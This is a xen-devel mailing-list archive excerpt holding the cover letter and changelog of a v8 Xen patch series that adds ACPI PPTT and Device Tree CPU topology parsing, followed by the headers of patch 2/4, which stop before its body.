List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=lzAp97MRndH29kxgGFzkFHvdygi4ExlN+xff93T73fmY4IKdbX8gcjvaIB1YC/rYZtpcID4Y3iCW9SdZxh067T+pu9B/MTAEBcxOfKGkmOrq19oCUQW6ib3qqLRWvNV94VGuWDtp4NeK4LFyaN+9wio09z4uYpd60GfAMlI+xBgXKO8z817symyiRcTMJs7ewrJuP6F6BpR2yOxPjr2wMlg1GUAjJKc8R0ifbjyoXJZCBwtGbl9O7ishQksovwkAI2X/EWdtAPk9DjGLRaJsy96ozL8j1iC8tLrC2yAFCY/J4w/1xyvj+BRjyAlw6Fj07RL5lxZGBCjOI4NbvvpxcA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=9Otdd1qgjSYtJZkFP64pxjtAf0Wai1BR3H+bHKcVJJs=;
 b=ZIPCTBg4tFMc2VHDwjIzqVvIPG1ns+phzTQquBb21+emiY6JA0uy2iKBrAg+Bx+xN1lXN2hHxU2syMZNVB+Gb/IJ+Lqhi+VVFSHVR2Gh3WLnekfj8wmdrXSNSbH4cRiUPZdifZS+NFwpKoN8iccFFngjxuU2fT5jiVqhmxQkUs7XdLxHsFhXXXy0xeclD3zD8br7UAV1MxVJqIUypS1HO3eGO/MtQrt+hAj3WnuYqLBpzNSs395kYy6Smzc2HNyNoyH+JHXCDLq6N1+xoNW7Hc1PwH/lPaalBTg13RAtVe9jQi62dueJmxJVLqSbwnMVi/210tv4VjlVxOY6P61maA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=9Otdd1qgjSYtJZkFP64pxjtAf0Wai1BR3H+bHKcVJJs=;
 b=Ml3+3tbce7fk1geI51Gc6PCIhAkZ+Pox2qX3IQPJznEb8tsw1w8gXrUFqp89RoHay1WlEMuz//mc6qzm6FM15QgtcggI0IsULRi3fp8knrQrRoN4v1lzuIlQLV+lkxdcCMq/yI7qo1dUiLIUSuAdTmAvEqtj8hjuHDtGNQ+1sa4=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>
Subject: [PATCH v8 0/4] xen/acpi,device-tree: Introduce generic CPU topology support for ACPI and DT
Date: Sun, 26 Jul 2026 09:55:13 +0900
Message-ID: <20260726005517.379267-1-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TY6P301CA0028.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:405:3bf::18) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|OS7P286MB5490:EE_
X-MS-Office365-Filtering-Correlation-Id: b64a2593-f9e7-477a-4b19-08deeab09372
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|23010399003|366016|376014|10070799003|56012099006|10067099003|29003799003|6133799003|25016099003|3023799007|18002099003;
X-Microsoft-Antispam-Message-Info:
	ecU2s+wNITnNRbIF4PuKSu9HXAQykq+c1XbrzdWqq6EixSUXVzedjsueoyD9GZUGoSllTHY6bq8Oy5dIx2ztUQ2AEkj/rvAhy7AV7ybXW2MY4eI6UkDuhrdTU8d6wn2iDtLgunJW1OPHH7hmIY8f2mxH++1psYgq6lcramwllflleiPVWHBogj++PR9RdQaE3m5DrSpgShCbkHrz5OpRufVOdGYjIjgulAyejXW/nYdDzeFSLrf/T2tBXNQOvJsWpjMcXB3H1yacA4uBu46lDNuY+ZlkrhciULV1KCk28MdhNLFc5NGaPxSh5dwdz9k+vst6A/0fucEZ+X7zIIYYURV5/AS6a8zQumYAt6J/S62vp+j9yVCveiMmrczs015m5IHli89ewANINKa/v5r0Y4CVFIwkJPPzyyW/bAWXUdki0gHMa/ePYUEEvGshXB5fl0iYbpFcbnNSLnQkYWrdrAIyzZRQwgEojGZKXPI3c8jjWixsKkfKHe+U6RqbIlW/jA0Kan6aIpeSEpIX74SNf9btWmKWhLK070EUtqj+FL+4j/Vm2hxm5ezrWY2g/KKcm08nDroQZEzy7+ULBtIZ0LlwVHSt8LLrES0VpbCf6y31QZxoavjmltAmiUWdK+9dZANwxPPbl57hM0A8GEk8z2yYxUrjVhcyg1eaJCg8cGU=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(23010399003)(366016)(376014)(10070799003)(56012099006)(10067099003)(29003799003)(6133799003)(25016099003)(3023799007)(18002099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?cvpuYRQB23uaa0Nzcm5dtoaAujQObc07CZoaaj8umbhanf3Y/XyZbigEABYt?=
 =?us-ascii?Q?bj93rpDH9aMGJZ6Ebn+73jIYyXzXduvLf1C4uAU03DKJgjuSINhFzOnhmcHe?=
 =?us-ascii?Q?HsU2I48aH2pe2dkduZsRWBbcm1C38LwRVhZotyNkyUq17M56+oTVGmoVSN86?=
 =?us-ascii?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Y6TsHcNHe8c3DyvuKHlAGpEnAPoQRAsLrPThG25/6Y2Sq?=
 =?us-ascii?Q?OpzN8W52l3irjZ3hc1Ui7OF2US9C1xCSmwx/YiKs81lrlXPnagGOP4JIBLmp?=
 =?us-ascii?Q?lNFFyrG0XVXhV0AOfqqNxbuYbfKDL3/64gn/RrU0tiFlQdjY+3IPlGgIp0XH?=
 =?us-ascii?Q?e8F3/v7y4eyTfwJ2LiBksBnBLYejjp2XiOw/McI8NHE0QVihiM6gGv9Gfzs2?=
 =?us-ascii?Q?rKXNY1L3QDN0wN2VoG345Zhos4C7kLR5c3l8Q0l5k8OL91EQBioO9oEzHvSs?=
 =?us-ascii?Q?ppKORN3MD9U0XKPhnCT561aue3aLFpaZRPNoZyY5/+JzUrw+bUEaQ3kJpd1B?=
 =?us-ascii?Q?2YMJptFrqKgsOwD0UuEPo+joB8V50AIrNgA0ZcvtbldqffJPIbCwqqDwDvfT?=
 =?us-ascii?Q?DtotYJdXT33BRSPJNi7Q+cGiuzaAhrJori5I1+6EwWC2FDiggG3mLGQFBtgv?=
 =?us-ascii?Q?ArllnS5+p+Lf7ljpEomqpN6rmDx6TYK3EfkyABts/Tzg2VqmIOtZc+0Wcd9F?=
 =?us-ascii?Q?mjQxMstspfdlAEThODdDYZGWLTq7rJvdQEtI4FJo5sifocEVi7JKyx2EOCkS?=
 =?us-ascii?Q?OmYkqg1Fo593VHaFWBL5kj6jFc12ogmNW50IORCIFPwTCnG8MH5YgTBY/AhD?=
 =?us-ascii?Q?EflPNNIXikTR37wLUxZNLWc2jmE3eruu6ASjaroI9ydviKgyuhg6YaCI/UC1?=
 =?us-ascii?Q?L2x9DPc1GtTlJoVhUXcEbFVaG/12wKCXRPwCC/URcs8WAtwv5kBgLKKpKkO0?=
X-MS-Exchange-AntiSpam-MessageData-1: Jz+UdktK0ijrYg==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: b64a2593-f9e7-477a-4b19-08deeab09372
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 26 Jul 2026 00:55:24.2892
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: XtI82WNcdnE7RKRKvfdR3OTI9+TZjyK55p27KrAEh/z8v31GedoBKrgSpiD1ukSAkkFPwcllq0Exs69yeTPdvA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS7P286MB5490
X-purgate-ID: tlsNG-bad1c0/1785027329-BF6D2034-4FCC0135/0/0
X-purgate-type: clean
X-purgate-size: 10835

Hello,

This patch series integrates CPU topology discovery into the Xen hypervisor
for both ACPI and Device Tree platforms.

Changes in v8:
- PPTT Table Validation & Hardening:
  * Relaxed processor node length check to allow
    proc->header.length >= table_size.
  * Treated root nodes (nodes with parent == 0) as equivalent to
    ACPI_PPTT_PHYSICAL_PACKAGE nodes.

- Build & Kconfig Adjustments:
  * Removed leftovers of ACPI_CPU_TOPOLOGY definition from
    xen/drivers/acpi/Kconfig.

- Code Cleanups & Style Conformance:
  * Moved INVALID_ACPIID definition to xen/acpi.h to make it available
    cross-architecture.
  * Removed ARM-specific references from comments in
    architecture-agnostic code.
  * Added explicit parentheses around bitwise operations in logical
    expressions.
  * Placed binary logical operators (||, &&) at the end of lines when
    splitting conditional statements.
  * Combined variable declarations and initializations where appropriate.
  * Removed trailing full stops ('.') from printk log messages.
  * Fixed printk format specifier mix-up.
  * Explicitly included <xen/cpu-topology.h> in xen/common/cpu.c.

Changes in v7:
- PPTT Table Validation & Hardening:
  * find_pptt_node(): Added leaf node verification (ACPI 6.3+).
  * acpi_init_cpu_topology(): Added bounds checks to ensure proc->parent
    validly references memory strictly inside the PPTT table bounds.
  * Factored out shared table checking helper functions used by both
    find_pptt_node() and acpi_init_cpu_topology().
  * Added subtable alignment checks and strengthened processor structure
    size validation.

- Graceful Fallback & Allocation:
  * Treated missing topology definitions as benign conditions.
  * Used xvzalloc_array() for temporary memory allocations during
    initialization.

- Build & Kconfig Adjustments:
  * Updated Kconfig to use "depends on UNSUPPORTED" instead of "if UNSUPPORTED".

- Code Cleanups & Style Conformance:
  * Used designated initializers for structure data initializations.
  * Consolidated topology helpers with IS_ENABLED().
  * Removed redundant error checks and reduced unnecessary pointer casts.
  * Switched type-based sizeof(type) to variable-based sizeof(*var).
  * Added leading spaces before labels ( out:)

Changes in v6:
 - Renamed the series subject from "xen/arm: Device Tree based CPU topology
   support" to reflect the inclusion of generic ACPI PPTT topology parsing.

 - Infrastructure & Kconfig:
   * Updated Kconfig to make both DT_CPU_TOPOLOGY and ACPI_CPU_TOPOLOGY
     select GENERIC_CPU_TOPOLOGY.
   * Ensured that if topology parsing from either DT or ACPI PPTT fails, the
     CPU topology table is freed to fall back to the non-topology behavior.
   * Moved the `cpu_topology` definition to `cpu.c` so that variables and
     functions in `cpu-topology.c` can be completely freed after Xen init.

 - Topology Logic (DT / ACPI):
   * Set the cluster ID to 0 when the cluster definition is missing from the
     Device Tree `cpu-map` node.
   * Handled cases where cluster info is missing upon reaching a physical
     package in the PPTT parser by assuming one cluster per socket.
   * Split out the import of ACPI PPTT definitions from the Linux kernel
     (including unused definitions) into a separate standalone patch.

 - Robustness & Safety:
   * Avoided assuming `np` becomes NULL after exiting `dt_for_each_child_node()`;
     explicitly return NULL instead.
   * Added bounds-checking `ASSERT`s for values returned by `cpumask_first()`.
   * Added explicit braces `{}` to nested `if` statements to clarify `else`
     scoping and maintain style symmetry.
   * Enforced an upper limit on the PPTT parsing loop iterations to prevent
     infinite loops on corrupted tables.
   * Treat the absence of a physical package node definition in PPTT as a
     parsing error.

 - Optimization & Efficiency:
   * Optimized `setup_siblings_masks()` to eliminate redundant loop iterations.
   * Dynamically allocate the temporary data storage used during ACPI PPTT
     parsing.

 - Code Cleanup & Refactoring:
   * Replaced the `invalid_topo_id` constant with the `INVALID_TOPO_ID` macro.
   * Initialized all members of the `cpu_map` array with `INVALID_TOPO_ID`.
   * Added a blank line between `<xen/...>` and `<asm/...>` header groups.
   * Reordered `#ifdef` blocks to prioritize generic logic over architecture-
     specific ones.
   * Corrected code indentation.
   * Applied the `static` specifier to file-local data structures and functions.
   * Minimized the use of fixed-width `uint32_t` types, restricting its use only
     where strictly required by the 32-bit ACPI ID specification.
   * Declared `map_cpu_acpiid[]` as static and introduced the helper function
     `acpi_map_cpu_acpiid()` for managed access.
   * Renamed local variables to more intuitive names.
   * Simplified the implementation of `get_logical_id()`.
   * Refactored PPTT parsing to reduce type casting by using `container_of()`
     and switching from `char *` to `void *` pointers.
   * Removed redundant error checks.
   * Cleaned up unused variables and eliminated debug print statements.

Changes in v5:
 - Extracted CPU topology information from the ACPI PPTT.
 - Corrected the erroneous use of CONFIG_CPU_TOPOLOGY to
   CONFIG_GENERIC_CPU_TOPOLOGY.

Changes in v4:
 - Only display the CPU topology configuration prompt in common/Kconfig
   if the architecture defines HAS_GENERIC_CPU_TOPOLOGY.
 - Move the definition of the global 'cpu_topology' pointer to
   common/cpu-topology.c.
 - Update the Makefile to explicitly build objects as .init.o when all
   functions and data within a file are annotated with __init/__initdata,
   ensuring their memory is reclaimed after system initialization.
 - Add an error log in the CPU-to-node mapping function for out-of-bounds
   cases.
 - Use ARRAY_SIZE() instead of raw macros when guarding array accesses.
 - Rename variables and functions to avoid ambiguous or misleading terms:
   - Avoid 'cpuid' to prevent confusion with x86 CPUID features/instructions.
   - Avoid 'node' where it could be confused with a NUMA node, explicitly
     renaming them to clarify they refer to a Device Tree node.
 - Move local variable declarations into the narrowest possible scope.
 - Replace the unsupported "%pOF" printk format specifier with "%s" and
   explicit node name retrieval.
 - Remove #include <dt-cpu-topology.h> from cpu-topology.h, and ensure
   the header directly includes only what its definitions require.
 - Remove #include <xen/device_tree.h> from dt-cpu-topology.h, replacing
   it with a forward declaration of 'struct dt_device_node'.
 - Use 'const' qualifiers for pointer declarations where the pointed-to
   structure is not modified.
 - Explicitly #include <asm/processor.h> in cpu-topology.h to guarantee
   that arch-specific definitions of cpu_to_core() and cpu_to_socket()
   take precedence over the generic fallbacks.
 - Introduce inline initialization functions for cpu_sibling_mask and
   cpu_core_mask in cpu-topology.h, providing separate variants for both
   when CONFIG_GENERIC_CPU_TOPOLOGY is enabled and disabled.

Changes in v3:
 - Use (nr_cpu_ids - 1) as the maximum CPU ID here. The fix for the sparse
   map mismatch issue on ARM Xen has been split out into a separate patch.
 - Switch topology sibling masks to cpumask_var_t for dynamic allocation.
 - Allow the system to keep running with a degraded fallback even if
   the topology table allocation fails.
 - Remove the temporary definitions of cpu_to_core() and cpu_to_socket()
   from RISC-V and PPC processor.h.
 - Minimize the use of #ifdef blocks, leveraging compiler Dead Code
   Elimination (DCE) where possible.
 - Clean up the code to follow the Xen coding style. Please let me know
   if I missed any style nits!
 - Verify successful builds across x86, RISC-V, and PPC environments.

Changes in v2:
 - Generate topology information even when ACPI is enabled. Note that
   this is a temporary implementation and doesn't yet parse the PPTT
   (Processor Properties Topology Table).
 - Added support for cpu-map node in Device Tree that doesn't contain
   explicit cluster node definitions.

Changes in v1 from the previous series "Introduce Device Tree based NUMA
support for ARM Xen":

1. Optimized Memory Allocation:
   The series now allocates only the minimum required memory area to manage
   the essential data for the CPUs.

2. Flexible Device Tree Parsing:
   The parsing logic no longer depends on the definition order of the 'cpu'
   nodes and 'cpu-map' nodes in the Device Tree. They can now be read
   correctly even if their orders do not match.

3. CPU Hotplug Readiness:
   To support future CPU hotplug, the system assumes that inactive CPUs are
   also described in the Device Tree. Xen will pre-load and generate the
   topology information for these inactive CPUs during the boot phase so
   it stays available in memory.

Thank you,
Hirokazu Takahashi

Hirokazu Takahashi (4):
  xen/device-tree: Parse 'cpu-map' node for CPU topology exploration
  xen/sched: Link CPU topology to scheduler
  xen/sched: Make cpu_nr_siblings() architecture-specific
  xen/acpi: Parse PPTT to initialize CPU topology

 xen/arch/arm/Kconfig                   |   1 +
 xen/arch/arm/acpi/boot.c               |   2 +
 xen/arch/arm/include/asm/processor.h   |   4 -
 xen/arch/arm/smpboot.c                 |  15 +-
 xen/arch/ppc/include/asm/processor.h   |   4 -
 xen/arch/riscv/include/asm/processor.h |   4 -
 xen/arch/x86/include/asm/acpi.h        |   2 -
 xen/arch/x86/include/asm/processor.h   |   1 +
 xen/common/Kconfig                     |  22 ++
 xen/common/Makefile                    |   1 +
 xen/common/cpu-topology.c              |  62 ++++
 xen/common/cpu.c                       |   5 +
 xen/common/device-tree/Makefile        |   1 +
 xen/common/device-tree/cpu-topology.c  | 409 +++++++++++++++++++++++++
 xen/common/sched/credit2.c             |  21 +-
 xen/common/sysctl.c                    |   1 +
 xen/drivers/acpi/Makefile              |   1 +
 xen/drivers/acpi/topology.c            | 326 ++++++++++++++++++++
 xen/include/xen/acpi.h                 |  17 +
 xen/include/xen/cpu-topology.h         |  76 +++++
 xen/include/xen/dt-cpu-topology.h      |  35 +++
 21 files changed, 972 insertions(+), 38 deletions(-)
 create mode 100644 xen/common/cpu-topology.c
 create mode 100644 xen/common/device-tree/cpu-topology.c
 create mode 100644 xen/drivers/acpi/topology.c
 create mode 100644 xen/include/xen/cpu-topology.h
 create mode 100644 xen/include/xen/dt-cpu-topology.h

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 26 00:55:47 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 26 Jul 2026 00:55:47 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370881.1618757 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnn9U-0006qF-8B; Sun, 26 Jul 2026 00:55:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370881.1618757; Sun, 26 Jul 2026 00:55:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnn9U-0006oo-4Z; Sun, 26 Jul 2026 00:55:36 +0000
Received: by outflank-mailman (input) for mailman id 1370881;
 Sun, 26 Jul 2026 00:55:34 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wnn9S-0006gB-D4
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 00:55:34 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnn9R-0081V3-8b
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 02:55:33 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a655b05-5cb7-0a2a0a5109dd-0a2a4509e00a-0
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 02:55:33 +0200
Received: from [52.101.228.97]
 (helo=OS0P286CU011.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a655aff-be1a-0a2a45090019-3465e461c552-5
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 02:55:32 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by OS7P286MB5490.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:397::5) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.12; Sun, 26 Jul
 2026 00:55:31 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0245.012; Sun, 26 Jul 2026
 00:55:31 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=hLM5z8Zbrhf64HEbJlll29O8EnKGutztpwg+Si9DC/LMEOJh4/xd/HTJzOQekl2N2pWZNF6MA7Mn3/V7wZReZWV69j6CrP4UgBNc7CnZ7M/cYzG++rIRdmPfiunFwnIKPrceKPAHI/SEh93OZUQzrJKTFxQIsAxv3VxzSO4i3+wUYxK/ynP/PaaJSQOX7C1eiA/GVtIHbWO14QgSQt7bq8ALPiMI7C28F/mmQzNt0IJXYpdojY+NnGND5jModGzd7wL397mPhY1JuCkEQ7cXHPCuFUrxxwPSYQyqpCYX9Bv8Uciq8doG1mfP0U1lhGsIIbQLMEFUw7D2bGT4oCKvrg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=KMShCBGc4W5KYknagjI2BL0mNG7v+HoatGWhYaSmHkc=;
 b=jtI7TW2RRF9BliD1aZkQljgMmWaL0t0ZAynv2kBkJ49GuqCDzCtsWuK4CcUUUWuadMlRL6XpZZ2D8vahMV1Gim4FzSLWwrmtKAO7UjWyvvYbQhmfyaBeo4tU0Sh85PEJmaZeCa/9sTPd6XoMJjJ0/IoUXgWycO1UN74zIvZjyKEmsPjW9WM2nCvjZg7WE3KK83gyS0nZV8PdhsIOR4t5MOVJzZwmh/Jyr6rfZ2kUtQPBo/nOVjaRlw8+PbQLiYOd+sQ36rgM0X8U3PjW+2he8F1ojiEbAXzHf5CiPqOtbB4dIJX6b55KTtg1aelkoLX3i8WN1eOk3QN3LqrnO9lRag==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=KMShCBGc4W5KYknagjI2BL0mNG7v+HoatGWhYaSmHkc=;
 b=WPJXinkHugLwRhQpcmiBOy723OXL2cVNtHbY/bn8lKN1aqAJkgmNPMw72xGde6jgagBQbi+gLfXKnXzwlyR3JpT32oSL7KSW7HhLkvYEv5aezspvkMSjxp5uNYmnlGC40bEjZev5XP6Xcp0JfNtW88BQopAr8By1lNhs76JQHk4=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Jan Beulich <jbeulich@suse.com>,
	Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Dario Faggioli <dfaggioli@suse.com>,
	George Dunlap <gwd@xenproject.org>
Subject: [PATCH v8 2/4] xen/sched: Link CPU topology to scheduler
Date: Sun, 26 Jul 2026 09:55:15 +0900
Message-ID: <20260726005517.379267-3-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260726005517.379267-1-taka@valinux.co.jp>
References: <20260726005517.379267-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TY6P301CA0028.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:405:3bf::18) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|OS7P286MB5490:EE_
X-MS-Office365-Filtering-Correlation-Id: efbe40ab-6bd3-466d-a1fd-08deeab097a9
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|23010399003|366016|7416014|376014|10070799003|56012099006|10067099003|6133799003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	ue4m0+C+frD0jlEpTY9KDMhqLu8nHI5qWfHvVBKhm+aKxSk3PJoj/oaebeXl66T//GmZi7uYfdRIR3JvGcjYhaOpEFje5wp9hpjCHVRJScpcJlgQSZhFAtV/qhOChAnI5cvcOss7zHmohwt+HO0CTPymKyTGUkBAzv5UvA0lAQ6L/0yP+xOk1ncYwy6ch9uCu+AlfWK4OZYwceSeq1vEmmu+Ssiyuqfb+utVzxffjpevLTRdmn1SjL4HHnYhX2WFXIEGTn5tePOH1qzq+8MF74vQDXyarPCzbb7AsEiLqaCsG8sdCOblRDT1ozY3V/PiZ94AdzI76IF0xEhYOLSgrONIDtBx5Bea7r79TiZcXdfPc/OZgq6H1ujeY+lI/EDvfXj/0pHRV5ICyjVBFhKLI6WH6m5MQvdSDloAkMC65Uchh5HKusYcW3ICbUUZ2AxNMriyUTkmzNNtNwXRLp1l4NU7XtZZZUN6+722JkHI2WfLoZwKxRX3sOmudfaYzWaPMl3jTNWt9InxNWXTt5OTQhpaC71ze8Y64rT6jSoM9Mr8GVrh5n1CbfEjtKWEUfKa2gdw2TS4KTyeLDJimt/IL2YamHGnkGkqi3WJMJq+CYGRsLxaT8Kmufo8ERepjubNnQHHrRax0DULAp4jrKFdBIzEP/G3TwveXDXz4STtgrw=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(23010399003)(366016)(7416014)(376014)(10070799003)(56012099006)(10067099003)(6133799003)(18002099003)(22082099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?LRtZNQT3YdLLM8fgG/ggJnKOZMAQO9R5U2syct/IB+BCJdzvYEFP9cJ8gi6Z?=
 =?us-ascii?Q?OAV45j0oTw4ykf0JKo6L1WoF3Ls8ftzpAn5O3ih2o5ICrc3TeSmfQyZih9iU?=
 =?us-ascii?Q?CHXdY8kVIJJA9qXVehHqNb2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X-MS-Exchange-CrossTenant-Network-Message-Id: efbe40ab-6bd3-466d-a1fd-08deeab097a9
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 26 Jul 2026 00:55:31.3370
 (UTC)
